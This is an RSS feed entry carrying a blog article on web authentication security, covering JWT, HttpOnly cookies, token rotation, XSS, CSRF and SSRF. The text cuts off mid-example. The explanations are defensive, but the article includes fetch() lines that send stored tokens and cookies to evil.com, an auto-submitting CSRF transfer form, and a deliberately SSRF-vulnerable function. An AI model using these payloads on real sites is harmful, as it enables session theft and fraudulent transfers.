<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Elvin Seyidov</title>
    <description>The latest articles on Forem by Elvin Seyidov (@alvinseyidov).</description>
    <link>https://forem.com/alvinseyidov</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1688825%2F140b494b-baf0-46c3-84f6-eec5b4112bfe.jpg</url>
      <title>Forem: Elvin Seyidov</title>
      <link>https://forem.com/alvinseyidov</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/alvinseyidov"/>
    <language>en</language>
    <item>
      <title>Modern Web Authentication Security: JWT, Cookies, CSRF, and Common Developer Mistakes</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Sun, 21 Dec 2025 19:35:53 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/modern-web-authentication-security-jwt-cookies-csrf-and-common-developer-mistakes-fpj</link>
      <guid>https://forem.com/alvinseyidov/modern-web-authentication-security-jwt-cookies-csrf-and-common-developer-mistakes-fpj</guid>
      <description>&lt;p&gt;&lt;em&gt;A practical guide to understanding authentication security - what breaks, why it breaks, and how attackers exploit it.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Authentication Is the Most Common Security Failure
&lt;/h2&gt;

&lt;p&gt;Authentication is where trust begins. If it fails, nothing else matters - not your encryption, not your firewall, not your fancy security tools.&lt;/p&gt;

&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;Your front door can have the best lock in the world, but if someone can copy your key or trick you into opening it, the lock doesn't matter.&lt;/p&gt;

&lt;h3&gt;
  
  
  Technical Explanation
&lt;/h3&gt;

&lt;p&gt;Authentication failures consistently rank in the OWASP Top 10. Common issues include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Weak password storage (MD5, SHA1 without salt)&lt;/li&gt;
&lt;li&gt;Session fixation and hijacking&lt;/li&gt;
&lt;li&gt;Improper token validation&lt;/li&gt;
&lt;li&gt;Missing brute-force protection&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔐 Cybersecurity Perspective
&lt;/h3&gt;

&lt;p&gt;Attackers don't break encryption - they bypass authentication. Credential stuffing, session hijacking, and token theft are cheaper and more effective than cryptographic attacks.&lt;/p&gt;




&lt;h3&gt;
  
  
  Why "login works" ≠ "login is secure"
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What Developers Test&lt;/th&gt;
&lt;th&gt;What Attackers Test&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Valid credentials work&lt;/td&gt;
&lt;td&gt;What happens with 10,000 wrong passwords?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User sees dashboard&lt;/td&gt;
&lt;td&gt;Can I reuse a stolen token forever?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Logout button exists&lt;/td&gt;
&lt;td&gt;Does logout actually invalidate the session?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Just because your login form returns a 200 OK doesn't mean it's secure.&lt;/p&gt;




&lt;h3&gt;
  
  
  Real-world consequences of auth bugs
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2012 - LinkedIn&lt;/strong&gt;: 6.5M password hashes leaked (unsalted SHA1)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2019 - Facebook&lt;/strong&gt;: 540M user records exposed via session tokens&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2021 - Twitch&lt;/strong&gt;: Complete source code and auth systems leaked&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These weren't exotic zero-days. They were authentication failures.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sessions, Cookies, Tokens - What Are We Actually Using?
&lt;/h2&gt;

&lt;p&gt;Before diving into attacks, let's clarify what we're protecting.&lt;/p&gt;

&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;When you log into a website, it gives you a "pass" to prove you're allowed in. That pass can be stored in different ways - some safer than others.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sessions vs Stateless Auth
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
&lt;th&gt;Sessions&lt;/th&gt;
&lt;th&gt;Stateless Tokens (JWT)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Where state lives&lt;/td&gt;
&lt;td&gt;Server (database/memory)&lt;/td&gt;
&lt;td&gt;Client (token itself)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scalability&lt;/td&gt;
&lt;td&gt;Harder (shared state)&lt;/td&gt;
&lt;td&gt;Easier (no server state)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Revocation&lt;/td&gt;
&lt;td&gt;Easy (delete session)&lt;/td&gt;
&lt;td&gt;Hard (token valid until expiry)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server load&lt;/td&gt;
&lt;td&gt;Higher&lt;/td&gt;
&lt;td&gt;Lower&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Sessions&lt;/strong&gt;: Server remembers you.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Tokens&lt;/strong&gt;: You carry proof of who you are.&lt;/p&gt;


&lt;h3&gt;
  
  
  Cookies vs Headers (Mental Model)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Storage&lt;/th&gt;
&lt;th&gt;Sent Automatically?&lt;/th&gt;
&lt;th&gt;JS Access?&lt;/th&gt;
&lt;th&gt;CSRF Risk?&lt;/th&gt;
&lt;th&gt;XSS Risk?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cookie&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;Depends on HttpOnly&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;Lower with HttpOnly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Header (Bearer)&lt;/td&gt;
&lt;td&gt;❌ No (JS must add it)&lt;/td&gt;
&lt;td&gt;✅ Yes (must store somewhere)&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;Higher&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key insight&lt;/strong&gt;: Cookies are sent automatically by the browser. Headers require JavaScript to attach them. This single difference changes your entire threat model.&lt;/p&gt;


&lt;h2&gt;
  
  
  How XSS Steals Authentication
&lt;/h2&gt;

&lt;p&gt;Cross-Site Scripting (XSS) is when an attacker injects malicious JavaScript into your page.&lt;/p&gt;
&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;Imagine someone sneaking a spy into your house who reads all your mail and sends copies to a stranger.&lt;/p&gt;
&lt;h3&gt;
  
  
  What XSS Can Access
&lt;/h3&gt;

&lt;p&gt;If an attacker can run JavaScript on your page, they can:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Steal from localStorage&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/steal?token=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;access_token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="c1"&gt;// Steal from sessionStorage&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/steal?token=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="c1"&gt;// Read non-HttpOnly cookies&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/steal?cookie=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why Tokens in JavaScript Storage Are Dangerous
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Storage Location&lt;/th&gt;
&lt;th&gt;XSS Can Steal It?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;localStorage&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sessionStorage&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JavaScript variable&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HttpOnly Cookie&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Cybersecurity perspective&lt;/strong&gt;: Any token accessible to JavaScript is accessible to XSS. If your app has even one XSS vulnerability, all tokens in JS storage are compromised.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why HttpOnly Cookies Matter
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;It's like putting your valuables in a safe that only the bank can open - not even you can touch them directly.&lt;/p&gt;

&lt;h3&gt;
  
  
  What HttpOnly Actually Protects
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Lax
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With &lt;code&gt;HttpOnly&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Browser sends cookie automatically&lt;/li&gt;
&lt;li&gt;❌ JavaScript cannot read it&lt;/li&gt;
&lt;li&gt;❌ XSS cannot steal it&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What It Does NOT Protect
&lt;/h3&gt;

&lt;p&gt;HttpOnly cookies are still:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sent with every request (CSRF risk)&lt;/li&gt;
&lt;li&gt;Visible in browser dev tools&lt;/li&gt;
&lt;li&gt;Stored on disk (local access risk)&lt;/li&gt;
&lt;li&gt;Sent to attackers if they can make your browser send requests (CSRF)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bottom line&lt;/strong&gt;: HttpOnly protects against XSS token theft but introduces CSRF risk. You're trading one threat for another.&lt;/p&gt;




&lt;h2&gt;
  
  
  Access Tokens vs Refresh Tokens
&lt;/h2&gt;

&lt;p&gt;Two tokens, two purposes, two threat models.&lt;/p&gt;

&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Access token&lt;/strong&gt;: A day pass to the building&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Refresh token&lt;/strong&gt;: A card that lets you get new day passes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If someone steals your day pass, they have access for a day. If they steal your renewal card, they have access until you cancel it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Different Threat Models
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Token&lt;/th&gt;
&lt;th&gt;Lifetime&lt;/th&gt;
&lt;th&gt;Storage&lt;/th&gt;
&lt;th&gt;Theft Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Access&lt;/td&gt;
&lt;td&gt;Short (10-15 min)&lt;/td&gt;
&lt;td&gt;Memory/Header&lt;/td&gt;
&lt;td&gt;Limited window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Refresh&lt;/td&gt;
&lt;td&gt;Long (days/weeks)&lt;/td&gt;
&lt;td&gt;HttpOnly Cookie&lt;/td&gt;
&lt;td&gt;Long-term access&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Why Mixing Them Is Dangerous
&lt;/h3&gt;

&lt;p&gt;❌ &lt;strong&gt;Don't do this&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Storing refresh tokens in localStorage&lt;/li&gt;
&lt;li&gt;Making access tokens last for days&lt;/li&gt;
&lt;li&gt;Using one token for everything&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✅ &lt;strong&gt;Do this&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Short-lived access tokens (minutes)&lt;/li&gt;
&lt;li&gt;HttpOnly cookie for refresh tokens&lt;/li&gt;
&lt;li&gt;Rotation on every refresh&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why JWT Authentication Fails in Real Systems
&lt;/h2&gt;

&lt;p&gt;JWTs are not inherently insecure - but how developers use them often is.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔧 Common JWT Failures
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. Long-Lived Tokens
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ Token valid for 30 days&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;exp&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1735689600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If stolen, attacker has 30 days of access.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. No Rotation
&lt;/h4&gt;

&lt;p&gt;Using the same refresh token until expiry. If stolen, no way to detect reuse.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. No Revocation
&lt;/h4&gt;

&lt;p&gt;JWTs are stateless. Without a blacklist or database check, you cannot invalidate a token before expiry.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. No Audit Trail
&lt;/h4&gt;

&lt;p&gt;No logging of token issuance, refresh, or suspicious activity. You won't know you've been breached.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔐 Cybersecurity Perspective
&lt;/h3&gt;

&lt;p&gt;JWTs shift security responsibility from server to implementation. Most implementations get it wrong by treating tokens as "set and forget."&lt;/p&gt;




&lt;h2&gt;
  
  
  Token Rotation &amp;amp; Reuse Detection (The Missing Layer)
&lt;/h2&gt;

&lt;p&gt;This is what separates secure implementations from tutorials.&lt;/p&gt;

&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;Every time you use your renewal card, you get a new one and the old one is destroyed. If someone tries to use your old card, alarms go off.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Rotation Really Means
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Login → Refresh Token A
Use A  → Token A revoked, get Token B
Use B  → Token B revoked, get Token C
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each refresh token is single-use. Old tokens become invalid immediately.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Token Theft Becomes Detectable
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scenario&lt;/strong&gt;: Attacker steals Token A&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Legitimate user: Uses Token A → Gets Token B (A revoked)
Attacker:        Tries Token A → Already revoked!
                 → Revoke ALL tokens for this user
                 → Log TOKEN_REUSE_DETECTED event
                 → Force re-authentication
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Without rotation&lt;/strong&gt;: Attacker uses stolen token silently for days.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;With rotation&lt;/strong&gt;: Theft triggers detection within one refresh cycle.&lt;/p&gt;


&lt;h2&gt;
  
  
  Cookies vs Headers: XSS vs CSRF
&lt;/h2&gt;

&lt;p&gt;You must choose your vulnerability - there is no perfect solution.&lt;/p&gt;
&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;You can lock the front door or the back door - but you only have one lock.&lt;/p&gt;
&lt;h3&gt;
  
  
  Threat Comparison Table
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
&lt;th&gt;localStorage + Header&lt;/th&gt;
&lt;th&gt;HttpOnly Cookie&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;XSS can steal token&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSRF can use token&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;td&gt;✅ Yes (needs mitigation)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Requires JS to send&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;❌ No (automatic)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mobile/API friendly&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;td&gt;⚠️ Complicated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  Choosing the Lesser Evil
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;For web apps with good XSS hygiene&lt;/strong&gt;: Headers might be acceptable.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;For apps where XSS is possible&lt;/strong&gt;: HttpOnly cookies are safer (but add CSRF protection).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Most secure approach&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Access token → Memory only (not localStorage)&lt;/li&gt;
&lt;li&gt;Refresh token → HttpOnly cookie with CSRF protection&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  CSRF Explained Simply (And Why It Still Matters)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;Imagine someone sends you a letter that says "Sign this" and you sign it without reading. You just authorized something you didn't intend to.&lt;/p&gt;
&lt;h3&gt;
  
  
  How CSRF Actually Works
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;User logs into &lt;code&gt;bank.com&lt;/code&gt; (cookie stored)&lt;/li&gt;
&lt;li&gt;User visits &lt;code&gt;evil.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Evil site has hidden form:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://bank.com/transfer"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"to"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"attacker"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"10000"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Browser sends request to &lt;code&gt;bank.com&lt;/code&gt; with user's cookies&lt;/li&gt;
&lt;li&gt;Bank sees valid session → Transfers money&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Why Cookies Change the Threat Model
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Headers&lt;/strong&gt;: Attacker's site cannot add your Authorization header&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cookies&lt;/strong&gt;: Browser automatically includes them for that domain&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why cookie-based auth requires CSRF tokens.&lt;/p&gt;


&lt;h2&gt;
  
  
  CSRF vs SSRF - Why Developers Confuse Them
&lt;/h2&gt;

&lt;p&gt;Same acronym pattern, completely different attacks.&lt;/p&gt;
&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CSRF&lt;/strong&gt;: Tricking your browser into making a request&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSRF&lt;/strong&gt;: Tricking a server into making a request&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Why the Names Are Misleading
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
&lt;th&gt;CSRF&lt;/th&gt;
&lt;th&gt;SSRF&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Full name&lt;/td&gt;
&lt;td&gt;Cross-Site Request Forgery&lt;/td&gt;
&lt;td&gt;Server-Side Request Forgery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Who is tricked?&lt;/td&gt;
&lt;td&gt;User's browser&lt;/td&gt;
&lt;td&gt;Server/backend&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Who makes the request?&lt;/td&gt;
&lt;td&gt;Client&lt;/td&gt;
&lt;td&gt;Server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;td&gt;Authenticated user actions&lt;/td&gt;
&lt;td&gt;Internal resources&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  Client-Side Trust vs Server-Side Trust
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;CSRF&lt;/strong&gt; exploits: &lt;em&gt;"The server trusts requests from authenticated browsers"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSRF&lt;/strong&gt; exploits: &lt;em&gt;"The server trusts URLs provided by users"&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Why SSRF Is NOT Solved by CSRF Tokens
&lt;/h3&gt;

&lt;p&gt;CSRF tokens protect user-initiated actions. SSRF happens when your server fetches arbitrary URLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Vulnerable to SSRF
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_image&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# What if url = "http://169.254.169.254/metadata"?
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  SSRF in Authentication &amp;amp; OAuth Flows
&lt;/h2&gt;

&lt;p&gt;Authentication services are high-value SSRF targets.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔐 Cybersecurity Perspective
&lt;/h3&gt;

&lt;p&gt;Auth systems often need to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fetch user info from identity providers&lt;/li&gt;
&lt;li&gt;Validate tokens against external services&lt;/li&gt;
&lt;li&gt;Exchange authorization codes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these is a potential SSRF vector.&lt;/p&gt;

&lt;h3&gt;
  
  
  Token Exchange Endpoints
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# OAuth token exchange - vulnerable if 'token_endpoint' is user-controlled
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;exchange_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token_endpoint&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
